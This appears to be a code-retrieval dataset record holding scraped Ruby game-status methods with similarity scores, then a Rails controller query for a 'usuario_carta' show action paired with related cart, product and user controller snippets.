"def won?\n #won?: If the player has over 100 points, returns true, otherwise returns false\n if total_score > 100\n return true\n else\n return false\n end\n end",
"def player_won\n\t\tputs \"\\nCongratulations! your have won!\"\n\t\tself.player_record[\"Wins\"] += 1\n\tend",
"def game_over?\n remaining_players == 1\n end",
"def check_if_won\n\t\tif @word_hidden == @answer_word\n\t\t\t@game_over = 1\n\t\tend\n\t\t@game_over\n\tend",
"def won_game?\n @points > @opponent.points + 1 && @points >= 3\n end",
"def game_over?\n alive_players.count == 1\n end",
"def won?()\r\n\t\twin_game = false\r\n\t\t\r\n\t\tif()\r\n\t\t win_game = true\r\n\t end\r\n\t\t\r\n\t\treturn win_game\r\n\tend",
"def did_player_win?(player)\n\t\twinner_count = self.teams.winner.joins(:positions).where(:positions => {player_id: player.id}).count\n\t\treturn winner_count > 0\n\tend",
"def won?\n player_case = false\n if total_score >= 100\n player_case = true\n end\n return player_case\n end",
"def won_game?\n if @points > @opponent.points + 1 && @points > 3\n @points = 0\n opponent.points = 0\n return true\n end\n end",
"def player_won?\n if current_guess == secret_word || !have_blanks?\n puts \"Congratulations! You have successfully solved the puzzle!\\n\"\n exit_game?\n return true\n else\n return false\n end\n end",
"def did_player_win?\n if @players_1_turn\n did_mark_win?(PLAYERS_1_MARK)\n else\n did_mark_win?(PLAYERS_2_MARK)\n end\n end",
"def player_o_has_won_H?\n if @board[0] == 'O' && @board[1] == 'O' && @board[2] == 'O' || @board[3] == 'O' && @board[4] == 'O' && @board[5] == 'O' || @board[6] == 'O' && @board[7] == 'O' && @board[8] == 'O'\n true\n end\n end",
"def check_winner\n if win_state == CHECK\n if players[0].get_hand_score >= players[1].get_hand_score\n self.win_state = LOSS\n else\n self.win_state = WIN\n end\n end\n\n if win_state == WIN\n self.wins = wins + 1 \n puts \"Good win! You're now at #{wins} wins and #{losses}.\"\n else\n self.losses = losses + 1\n puts \"Better luck next time. You're now at #{wins} wins and #{losses} losses.\"\n end\n end",
"def player_win?(n)\n self.wins.each do |win| \n return true if (player_moves(\"#{n}\") & win).count == self.win_length\n end\n return false\n end",
"def player_won?\n victory = false\n @board.each do |key, value|\n victory = calculate_possible_lines(key).any? do |line|\n \tline.all? do |location|\n next if @board[location] == nil\n @board[location].color == @current_player\n \tend\n end\n return true if victory == true\n end\n false\n end",
"def player_x_has_won_H?\n if @board[0] == 'X' && @board[1] == 'X' && @board[2] == 'X' || @board[3] == 'X' && @board[4] == 'X' && @board[5] == 'X' || @board[6] == 'X' && @board[7] == 'X' && @board[8] == 'X'\n true\n end\n end",
"def win?\n if @player1.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player2.name} wins!\"\n sleep(1)\n elsif @player2.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player1.name} wins!\"\n sleep(1)\n else\n turn\n end\n end",
"def game_over\n remaining_player.count == 1\n end",
"def Winner?(player)\r\n end",
"def win?\n if won_game?\n @games_won += 1\n won_set\n return true\n end\n end",
"def won?\n if @scores_array.reduce(0, :+) >= WINNING_SCORE \n \t\t\"You win!\"\n \t\treturn true\n \telse\n \"You haven't won yet.\"\n return false \n end\n end",
"def someone_won?(brd)\n !!detect_winner(brd)\n end",
"def won?\n player_marker = @players[@current_player_idx].marker\n WINNING_LOCATIONS.each do |winning_triple|\n return true if winning_triple.map { |loc| @board[loc].fill_char == player_marker }.all?\n end\n false\n end",
"def won?\n total_score > 100 ? true : false\n end",
"def won_game(player)\n if player.advantage\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n elsif player.points > 3 and player.opponent.points < 3\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n end\n end",
"def game_over?\n @players.all? {|p| p.last_turn == \"skipped turn\"} || (@letter_bank.empty? && current_player.rack_empty?)\n end",
"def won?\n won_checker\n end",
"def someone_won?\n !!winnning_marker\n end",
"def won?\n win = false\n win = true if total_score >= 100\n return win\n end",
"def won?\n return total_score > 100 ? true : false\n end",
"def won_by?(player)\n\t\tcase player\n\t\twhen :hunter\n\t\t\tif players_within_distance?\n\t\t\t\t\"CAPTURE\"\n\t\t\telsif @prey.time_taken > $time_limit\n\t\t\t\t\"TIMEOUT\"\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\twhen :prey\n\t\t\tif players_surrounded?\n\t\t\t\t\"ESCAPE\"\n\t\t\telsif hunter_trapped?\n\t\t\t\t\"ESCAPE\"\n\t\t\telsif @hunter.time_taken > $time_limit\n\t\t\t\t\"TIMEOUT\"\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend\n\tend",
"def someoneWin?\n player = nil\n @@winCases.each { |a|\n player = @board[a[0]]\n if (player != \" \") && (@board[a[0]] == @board[a[1]]) && (@board[a[1]] == @board[a[2]])\n (0..2).each { |n| @board[a[n]].upcase! }\n puts \"We have a WINNER! ----> \" + player\n return player\n end\n }\n return false\n end",
"def won?\n end",
"def won?\n end",
"def check_win\n\t\t\tif win\n\t\t\t\tputs \"\\n You win!\" \n\t\t\telse\n\t\t\t\t# shows how many turns remain\n\t\t\t\tputs \"\\n You have #{TURNS - @turns} turns left\"\n\t\t\tend\n\t\tend",
"def game_over?\n alive_players = @players.select {|player| player.alive? == true }\n if alive_players.length > 1\n false\n else\n true\n end\n end",
"def game_over?\n if victory?\n @@score[\"Player #{@other_player.mark}\"] += 1\n puts \"\\nBehold the winner - the #{@other_player}!!!\\n\"\n # show_score\n show_score\n true\n elsif @turns == 9\n @@score[:draws] += 1\n puts \"\\nIt's a draw!\\n\"\n # show_score\n show_score\n true\n else\n false\n end\n end",
"def over?\n self.player.points == self.board.total_points\n end",
"def match_won?\n if @sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n if @opponent.sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n end",
"def set_won?\n if @games_won == 6 && @opponent.games_won < 5\n @sets_won += 1\n @games_won = 0\n @opponent.games_won = 0\n end\n if @games_won == 7 && @opponent.games_won < 7\n @sets_won += 1\n @games_won = 0\n @opponent.games_won = 0\n end\n end",
"def won\n if (object.result == 1 and object.white == current_user) or (object.result == -1 and object.black == current_user)\n return 1\n elsif object.result == 0\n return 0\n end\n -1\n end",
"def someone_won_round?\r\n !!winner\r\n end",
"def game_over?\n self.lost? || self.won?\n end",
"def record_won_game!\n if @game_points >= 5 && @game_points >= @opponent.game_points + 2\n\n record_won_set!\n end\n end",
"def check_for_game_over\n if @proposed_code == @secret_code && @player_role_selection == 'breaker'\n puts 'YOU WIN!'\n true\n elsif @proposed_code == @secret_code && @player_role_selection == 'maker'\n puts 'COMPUTER WINS!'\n true\n else\n false\n end\n end",
"def game_over?\n return true if victory? || (@turns == 12)\n false\n end",
"def gameover?\n full? or not check_winner.nil?\n end",
"def check_win\n if @game_board.return_count == 5 and @timer.return_time >= 0\n @win = true\n end\n if @game_board.return_count < 5 and @timer.return_time == 0\n @lose = true\n end\n end",
"def game_won?\n if @points == 4\n if @opponent.points < 3\n @games_won += 1\n @points = 0\n @opponent.points = 0\n set_won?\n match_won?\n return 'win'\n elsif @opponent.points == 3\n @points -= 1\n @opponent.points -= 1\n return 'advantage'\n elsif @opponent.points == 4\n @points -= 1\n @opponent.points -= 1\n return 'duece'\n end\n end\n end",
"def game_over?\n losing_players != nil ? true: false\n end",
"def check_for_winner\n set_game\n if current_user.has_3_or_more_moves?(@game.id) || @other_player.has_3_or_more_moves?(@game.id)\n if current_user.has_3_moves_in_a_row?(@game.id)\n @game.update(winner_id: current_user.id, duration: (Time.now - @game.created_at).to_i)\n @game.update(status: 'Game Over')\n json_response({ message: \"Winner is #{current_user.username}\"})\n elsif @other_player.has_3_moves_in_a_row?(@game.id)\n @game.update(winner_id: @other_player.id, duration: (Time.now - @game.created_at).to_i)\n @game.update(status: 'Game Over')\n json_response({ message: \"Winner is #{@other_player.username}\" })\n else\n head :no_content\n end\n else\n head :no_content\n end\n end",
"def over?\n won? || tied?\n end",
"def player_win\n @player.won_bet\n puts \"You have #{@player.chips_remaining} remaining\"\n end",
"def played?\n winner.present?\n end",
"def game_won?\n if diagonal_win?\n true\n elsif horizontal_win?\n true\n elsif vertical_win?\n true\n else\n false\n end\n end",
"def board_won?\n\t\twon = false\n\t\t\n\t\tWINNING_POSITIONS.each do |positions|\n\t\t\tn = 0\n\t\t\tfor i in 0..8\n\t\t\t n += 1 if (positions[i] == @gameplay_positions[i] && positions[i] != 0)\n\t\t\tend\n\t\t\tif n == 3\n\t\t\t\twon = true\n\t\t\tend\n\t\tend\n\n\t\twon ? true : false\n\tend",
"def game_over?\n @board.pieces['black'].empty? || @board.pieces['white'].empty? || (@board.moves(HUMAN_PLAYER).empty? && @board.moves(CPU_PLAYER).empty?)\n end",
"def wins_game?\n if @player1.score == 'win'\n return @player1\n elsif @player2.score == 'win'\n return @Player2\n else\n return \"The score is currently, Player1: #{player1.score} to Player2: #{player2.score}.\"\n end\n end",
"def o_won?\r\n o = @game_board.each_index.select { |position| @game_board[position] == \"O\" }\r\n get_win(o)\r\n end",
"def check_win\r\n\t\tif @guess_word == @secret_word \r\n\t\t\t@is_over = true \r\n\t\t\tputs \"Congrats! You won!\"\r\n\t\telse\r\n\t\t\tfalse \r\n\t\tend \r\n\r\n\t\tif @num_guess == 0 \r\n\t\t\t@is_over = true\r\n\t\t\tputs \"No more tries! You have lost.\"\r\n\t\telse \r\n\t\t\tfalse\r\n\t\tend \r\n\tend",
"def game_won\n if @correct_guesses == @word\n puts \"You have guessed the word!\"\n @is_over = true\n elsif @num_of_guesses == @word.length\n puts \"Sorry, you are all out of guesses.\"\n @is_over = true\n else\n false\n end\n end",
"def won?\n longest_row(@player) >= 5\n end",
"def won?\n # Fill this in\n end",
"def is_game_over?\n players.count < 2 ||\n @state == 'stop' ||\n @cards_on_table.count >= Deck.num_cards ||\n (players.map{|p| p.num_cards_remaining == Deck.num_cards}.include? true)\n end",
"def has_winner?\n result = nil\n if @board.is_win?(1.0)\n result = @player_one\n elsif @board.is_win?(-1.0)\n result = @player_two\n end\n return result\n end",
"def game_over?\n (@player1.lives == 0) || (@player2.lives == 0)\n end",
"def games_won(player)\n\t\ttiebreak_win = tiebreak && tiebreak.winner_id.eql?(player.id) ? 1 : 0\n\t\tgames.where(winner_id: player.id).count + tiebreak_win\n\tend",
"def over?\n if won? != false && won? != nil || draw? == true\n return true\n else\n return false\n end\n end",
"def win()\n\t return false if (self.score.nil? or self.opponent.score.nil?)\n\t self.score() ? self.score().to_i > self.opponent.score().to_i : false\n\tend",
"def game_over?\n if $board.has_value?(\"none\") == false then\n puts \"No more turns available\"\n return true\n else\n return false\n end\n end",
"def won?\n board.all_non_mines_cells_revealed?\n end",
"def won_match?\n @sets_won == 3\n end",
"def won?\n WIN_COMBINATIONS.detect do |combo|\n @board[combo[0]] == @board[combo[1]] &&\n @board[combo[1]] == @board[combo[2]] &&\n position_taken?(combo[0])\n end\n end",
"def won?\n WIN_COMBINATIONS.detect do |combo|\n @board[combo[0]] == @board[combo[1]] &&\n @board[combo[1]] == @board[combo[2]] &&\n position_taken?(combo[0])\n end\n end",
"def team_won?(side)\n validate_param(side) do |s|\n SYMBOLS_LR.include?(s) || s.is_a?(Team)\n end\n\n return false if !complete?\n\n case side\n when :left, :right\n return get_team_id(side) == winner_id\n when Team\n return side.all_challonge_ids.include?(winner_id)\n end\n end",
"def lost?\n if @players.any?{ |player| player.guesses_remaining == 0}\n puts \"You lost. The secret word is: #{@secret_word}\\n\\n\"\n return true\n end\n end",
"def lives_checker\n if (player_1.lives == 0 || player_2.lives == 0)\n self.game_over\n else\n puts \"------NEW ROUND------\"\n self.start_game\n end\n end",
"def won?\n ::WIN_COMBINATIONS.detect do |combo|\n board.cells[combo[0]] == @board.cells[combo[1]] &&\n board.cells[combo[1]] == @board.cells[combo[2]] &&\n board.taken?(combo[0]+1)\n end\n end",
"def over?\n if draw? == true or won? != false\n return true\n end\n end",
"def won_set(player)\n if player.games_won >= 6 and player.opponent.games_won < 5\n player.sets_won += 1\n @player1.games_won = 0\n @player2.games_won = 0\n won_match(player)\n elsif player.games_won == 7\n player.sets_won += 1\n @player1.games_won = 0\n @player2.games_won = 0\n won_match(player)\n end\n end",
"def won?\n WIN_COMBINATIONS.detect do |combo|\n @board.cells[combo[0]] == @board.cells[combo[1]] &&\n @board.cells[combo[1]] == @board.cells[combo[2]] &&\n @board.taken?(combo[0]+1)\n end\n end",
"def winning?(cells, player)\r\n status = false\r\n if (cells[0] == player && cells[1] == player && cells[2] == player) ||\r\n (cells[3] == player && cells[4] == player && cells[5] == player) ||\r\n (cells[6] == player && cells[7] == player && cells[8] == player) ||\r\n (cells[0] == player && cells[3] == player && cells[6] == player) ||\r\n (cells[1] == player && cells[4] == player && cells[7] == player) ||\r\n (cells[2] == player && cells[5] == player && cells[8] == player) ||\r\n (cells[0] == player && cells[4] == player && cells[8] == player) ||\r\n (cells[2] == player && cells[4] == player && cells[6] == player)\r\n status = true\r\n end\r\n status\r\n end",
"def winner\n winning_conditions_met? == \"x\" ? \"#{@player_one} won!\" : \"#{@player_two} won!\"\n end",
"def won_match(player)\n if player.sets_won > 1 and player.opponent.sets_won < 1\n player.matches_won += 1\n start_new_match\n end\n end",
"def check_win\n\tp = tokenize($current_player)\n\tvert1 = $row1[0] + $row2[0] + $row3[0]\n\tvert2 = $row1[2] + $row2[2] + $row3[2]\n\tvert3 = $row1[4] + $row2[4] + $row3[4]\n\n\thorz1 = vert1[0] + vert2[0] + vert3[0]\n\thorz2 = vert1[1] + vert2[1] + vert3[1]\n\thorz3 = vert1[2] + vert2[2] + vert3[2]\n\n\tdiag1 = $row1[0] + $row2[2] + $row3[4]\n\tdiag2 = $row3[0] + $row2[2] + $row1[4]\n\n\twinning_options = [vert1, vert2, vert3, horz1, horz2, horz3, diag1, diag2]\n\tif winning_options.any? {|x| (x.count p) >= 3}\n\t\treturn true\n\tend \nend",
"def is_game_over?\n @guesses_left == 0 ? true : false\n end",
"def won?(player, square_number)\n get_containing(square_number).any? do |array|\n array.all? { |element| element.to_s.strip == player.piece }\n end\n end",
"def winner\n if @board.over?\n check = @board.won?\n if check != false\n player = player1.token == check ? player1 : player2\n puts\n puts \"|***************************************************************|\"\n puts \"Congratualations #{player.name}! You have won this match.\"\n puts \"|***************************************************************|\"\n puts \"Press anykey to continue ...\"\n gets.chomp\n else\n puts \"End game. There's no winner. This is tied game :(\"\n end\n end\n end",
"def won?\n if @board.last == @board.last.sort && @board.last.length == @towers\n return true\n else\n return false\n end\n end",
"def game_over? \n @player1.is_dead? || @player2.is_dead?\n end",
"def won?\n WIN_COMBINATIONS.detect do |combo|\n combo.all? { |c| position_taken?( c ) && @board[c] == @board[ combo[0] ] }\n end\n end",
"def won?(state)\n pieces = state[:pieces]\n player = opponent(state[:player])\n # pieces[player].empty?\n king = pieces[player].find { |piece| piece.class == ChessKing }\n !king\n end",
"def over?\n if(!!won?)\n return true\n end\n if(draw?)\n return true\n end\n return false\n end",
"def game_over?\n players_found_phrase = @states.select { |s| s.found_phrase }\n if players_found_phrase.size == 1\n @renderer.output \"We have a winner! #{players_found_phrase.first.player.name} found the phrase!\"\n return true \n elsif players_found_phrase.size > 1\n drawn_player_names = players_found_phrase.map { |s| s.player.name }\n @renderer.output \"We have a draw between #{drawn_player_names.join(' and ')}\"\n return true\n else\n dead_players = @states.select { |s| s.incorrect_guesses.count >= Gallows.stages.count - 1 }\n if dead_players.count > 0\n dead_player_names = dead_players.map { |s| s.player.name }\n @renderer.output \"#{dead_player_names.join(' and ')} is dead.\"\n if dead_players.count == @states.count\n @renderer.output \"It's a draw, all players are dead.\"\n else\n surviving_players = @states.select { |s| dead_players.index(s).nil? }\n surviving_player_names = surviving_players.map { |s| s.player.name }\n @renderer.output \"We have a winner! #{surviving_player_names.join(' and ')} survived longer!\"\n end\n return true\n end\n end\n return false\n end",
"def in_check(player, board)\r\n king_loc = find_my_king(player, board)\r\n dangerous_player = offending_player(king_loc, player, board)\r\n if dangerous_player.nil?\r\n return false \r\n end\r\n return true\r\n end",
"def win?(player,piece)\n\t\twin_possibilities(piece).each do |possibility|\n\t\t\treturn true if possibility - player.pieces == []\n\t\tend\n\t\tfalse\n\tend",
"def won?\n total_score\n #check to see total_score_instance > 100 - if it is, return true, else return false\n if @total_score_instance > 100\n return true\n else\n return false\n end\n end"
] | [
"0.812417",
"0.8053775",
"0.7941264",
"0.79402155",
"0.7857416",
"0.78462386",
"0.7802104",
"0.7795296",
"0.7791327",
"0.77781886",
"0.7736046",
"0.77185726",
"0.76771414",
"0.76639766",
"0.7646808",
"0.76326853",
"0.7609075",
"0.7602597",
"0.7600377",
"0.754528",
"0.7531662",
"0.7512014",
"0.75109816",
"0.75105894",
"0.749168",
"0.7484448",
"0.7473735",
"0.74664927",
"0.7462149",
"0.7461592",
"0.7460334",
"0.7451771",
"0.7437441",
"0.7428632",
"0.7421491",
"0.7388722",
"0.7359839",
"0.7359839",
"0.7336671",
"0.7335754",
"0.7328048",
"0.73022985",
"0.7301369",
"0.72924316",
"0.7285992",
"0.7276562",
"0.7269749",
"0.7265997",
"0.724846",
"0.724359",
"0.7241864",
"0.7241407",
"0.723809",
"0.7204715",
"0.71876246",
"0.71620655",
"0.71611434",
"0.71584237",
"0.7156361",
"0.71343684",
"0.71223116",
"0.7111299",
"0.71053267",
"0.70968986",
"0.70804805",
"0.7078687",
"0.7066055",
"0.70508754",
"0.70432115",
"0.70346224",
"0.70322204",
"0.70260656",
"0.7022573",
"0.70171183",
"0.70124036",
"0.7008597",
"0.70028764",
"0.70028764",
"0.6997311",
"0.6995345",
"0.6992522",
"0.69894195",
"0.6976629",
"0.6971901",
"0.69709253",
"0.6968658",
"0.696515",
"0.69626755",
"0.6949781",
"0.6948478",
"0.6944668",
"0.6943",
"0.69404125",
"0.693587",
"0.6935432",
"0.6933013",
"0.69319516",
"0.69311124",
"0.69306356",
"0.6927643",
"0.69234955"
] | 0.0 | -1 |
GET /usuario_carta/1 GET /usuario_carta/1.json | def show
@usuario_cartum = UsuarioCartum.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @usuario_cartum }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show_cart\n render json: User.find(params[:id]).cart_products\n end",
"def index\n render json: { carts: current_user.carts.select(:id, :product_id, :quantity).to_json }\n end",
"def index\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n render json: @usuario.productos\n else\n @productos = Producto.all\n render json: @productos\n end\n end",
"def show\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n @producto = Producto.find(params[:id])\n render json: @usuario.productos.find(@producto.id)\n else\n \t @producto = Producto.find(params[:id])\n render json: @producto\n end\n end",
"def show\n #session_id = request.session_options[:id]\n session_id = cookies[:cart_id]\n @carts = Cart.where(\"session_id = ?\", session_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n @usuario_cartum = UsuarioCartum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario_cartum }\n end\n end",
"def show\n @cartum = Cartum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cartum }\n end\n end",
"def show \n cart = Cart.find(params[:id])\n render json: cart\n end",
"def show\n @usuario = Usuario.find(params[:id])\n\n render json: @usuario\n end",
"def show\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caracteristica_cartum }\n end\n end",
"def show\n @usuario = Usuario.find(params[:id])\n render json: @usuario\n end",
"def show\n @usuario = Usuario.find(params[:id])\n render json: @usuario\n end",
"def show\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \t\t\trender json: @usuario.pedidos.find(@pedido.id)\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \t\t\trender json: @negocio.pedidos.find(@pedido.id)\n \t\tend\n \tend",
"def show \n @user = User.find(params[:id])\n @past_carts = Cart.select {|cart| cart.User_id === @user.id}\n render json: @past_carts.to_json\n end",
"def show\n @carts_product = @cart.carts_products.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carts_product }\n end\n end",
"def show\n @cart = Cart.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cart }\n end\n end",
"def show\n @cart = Cart.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cart }\n end\n end",
"def index\n @cart_products = if current_user.cart.present?\n current_user.cart.carts_products.includes(:product).all\n else\n []\n end\n render formats: :json\n end",
"def show\n\t\trender json: @cart_item\n\tend",
"def index\n @shopping_cart_items = current_user.shopping_cart_items\n render json: {} unless @shopping_cart_items\n end",
"def index\n @cart_items = CartItem.all\n\n render json: @cart_items\n end",
"def show\n render json: @cart_item\n end",
"def view_cart\n render json: products_in_cart(false)\n end",
"def index\n @pedidos = Pedido.find(:all, :conditions => [\"cliente_id=?\", session[:usuario_id]])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end",
"def show\n @contato_produto = ContatoProduto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contato_produto }\n end\n end",
"def index\n @carts_products = @cart.carts_products.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @carts_products }\n end\n end",
"def show\n @cart_item = CartItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cart_item }\n end\n end",
"def show\n @cart_item = CartItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cart_item }\n end\n end",
"def show\n @order = Order.find(params[:id])\n @user = current_or_guest_user\n\t @cartitems = @user.orders.find(@order.id).cart_items.where(:item_type=>\"order\") \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @mixproducto = Mixproducto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mixproducto }\n end\n end",
"def index\n @carts = Cart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @carts }\n end\n end",
"def index\n @carts = Cart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @carts }\n end\n end",
"def show\n begin\n @cart = Cart.find(params[:id])\n @user = User.new\n rescue ActiveRecord::RecordNotFound\n logger.error \"Attempt to access invalid cart #{params[:id]}\"\n redirect_to products_url, notice: 'Invalid cart'\n else\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cart }\n end\n end\n end",
"def index\n @shopping_carts = ShoppingCart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shopping_carts }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cart_item }\n end\n end",
"def destroy\n @usuario_cartum = UsuarioCartum.find(params[:id])\n @usuario_cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to usuario_carta_url }\n format.json { head :no_content }\n end\n end",
"def index\n @cart = current_user.cart\n end",
"def index\n\t@cart_items = CartItem.all\n\n\trender json: @cart_items\n\tend",
"def show\n\tadd_breadcrumb \"Mostrar usuario\", :usuario_path\n @usuario = Usuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @usuario }\n end\n end",
"def show\n @usuario = Usuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usuario }\n end\n end",
"def show\n @usuario = Usuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usuario }\n end\n end",
"def cart\n Product.find(session[:user_cart])\n end",
"def get_cart(userid)\n db = connect()\n result = db.execute(\"SELECT Product.id, Product.titel, Product.description, Product.price, Product.userid, Product.img, ProduCart.antal, ProduCart.product_id FROM Product INNER JOIN ProduCart ON Product.id = ProduCart.product_id WHERE user_id =?\",userid)\n end",
"def show\n @cuerpo = Cuerpo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuerpo }\n end\n end",
"def show\n #session_id = request.session_options[:id]\n session_id = cookies[:cart_id]\n @carts = Cart.where(\"session_id = ?\", session_id)\n if @carts.blank? then\n view = 'noshow'\n else\n view = 'show'\n end\n \n respond_to do |format|\n format.html { render view }# show.html.erb\n format.json { render json: @cart }\n end\n end",
"def index\n @cart = get_cart()\n end",
"def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end",
"def index\n if params[:propietario]\n @usuario = Usuario.find(params[:usuario_id])\n authorize! :show, @usuario\n @negocios_propios = Usuario.find(params[:usuario_id]).negocios_propios\n render json: @negocios_propios,\n root: 'negocios_propios',\n each_serializer: NegocioPropioSerializer\n else\n @negocios = Negocio.all\n render json: @negocios\n end\n end",
"def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produto }\n end\n end",
"def index\n @carts = current_user.carts\n end",
"def index\n @mixproductos = Mixproducto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mixproductos }\n end\n end",
"def index\n @carts = Cart.where(user_id: current_user.id)\n end",
"def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end",
"def create\n @usuario_cartum = UsuarioCartum.new(params[:usuario_cartum])\n\n respond_to do |format|\n if @usuario_cartum.save\n format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully created.' }\n format.json { render json: @usuario_cartum, status: :created, location: @usuario_cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @usuario_partida = UsuarioPartida.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usuario_partida }\n end\n end",
"def index\n @cart = current_cart\n @orders = Order.all\n\n @user = current_user\n\n if @user.blank?\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n else\n respond_to do |format|\n format.html { redirect_to new_order_path }\n end\n end\n end",
"def show\n @cart = Cart.find( params[\"id\"] )\n # raise\n\n respond_to :html, :json\n\n\n end",
"def show\n @tipo_usuario = TipoUsuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_usuario }\n end\n end",
"def show\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end",
"def producirPrimasSkuYCantidad\n sku = params[:id].to_s\n cantidad_lotes = params[:cantidad].to_i\n render json: ProducirMateriasPrimas.new.producirCantidad(sku, cantidad_lotes)\nend",
"def show\n @safra_produto = SafraProduto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @safra_produto }\n end\n end",
"def index\n @auth_shopping_cart_items = @auth_shopping_cart_item_class.find_cart_items({:resource => lookup_resource}).page 1\n respond_with @auth_shopping_cart_items\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end",
"def show\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @productonegocio }\n end\n end",
"def show\n @cart = current_cart\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @palabras_clafe = PalabrasClave.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @palabras_clafe }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def index\n @seguridad_usuarios = Seguridad::Usuario.order('usuario')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seguridad_usuarios }\n end\n end",
"def index\n\n if params[:term] && !params[:codbarras]\n @productos = current_user.empresa.productos.where(\"nombre LIKE '%#{params[:term]}%'\").page params[:page]\n elsif params[:term] && params[:codbarras]\n @productos = current_user.empresa.productos.where(\"codigobarras LIKE '%#{params[:term]}%'\").page params[:page]\n else\n @productos = current_user.empresa.productos.page params[:page]\n end\n\n cookies[:current_page] = params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n # Here is where you can specify how to handle the request for \"/productos.json\"\n logger.debug @productos.to_json(:include => [:unidad, :precios])\n format.json { render :json => @productos.to_json(:include => [:unidad, :precios]) }\n end\n\n end",
"def show\n @empresa_servicio = EmpresaServicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @empresa_servicio }\n end\n end",
"def show\n\n \n\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end",
"def show\n @calificacion_servicio = CalificacionServicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calificacion_servicio }\n end\n end",
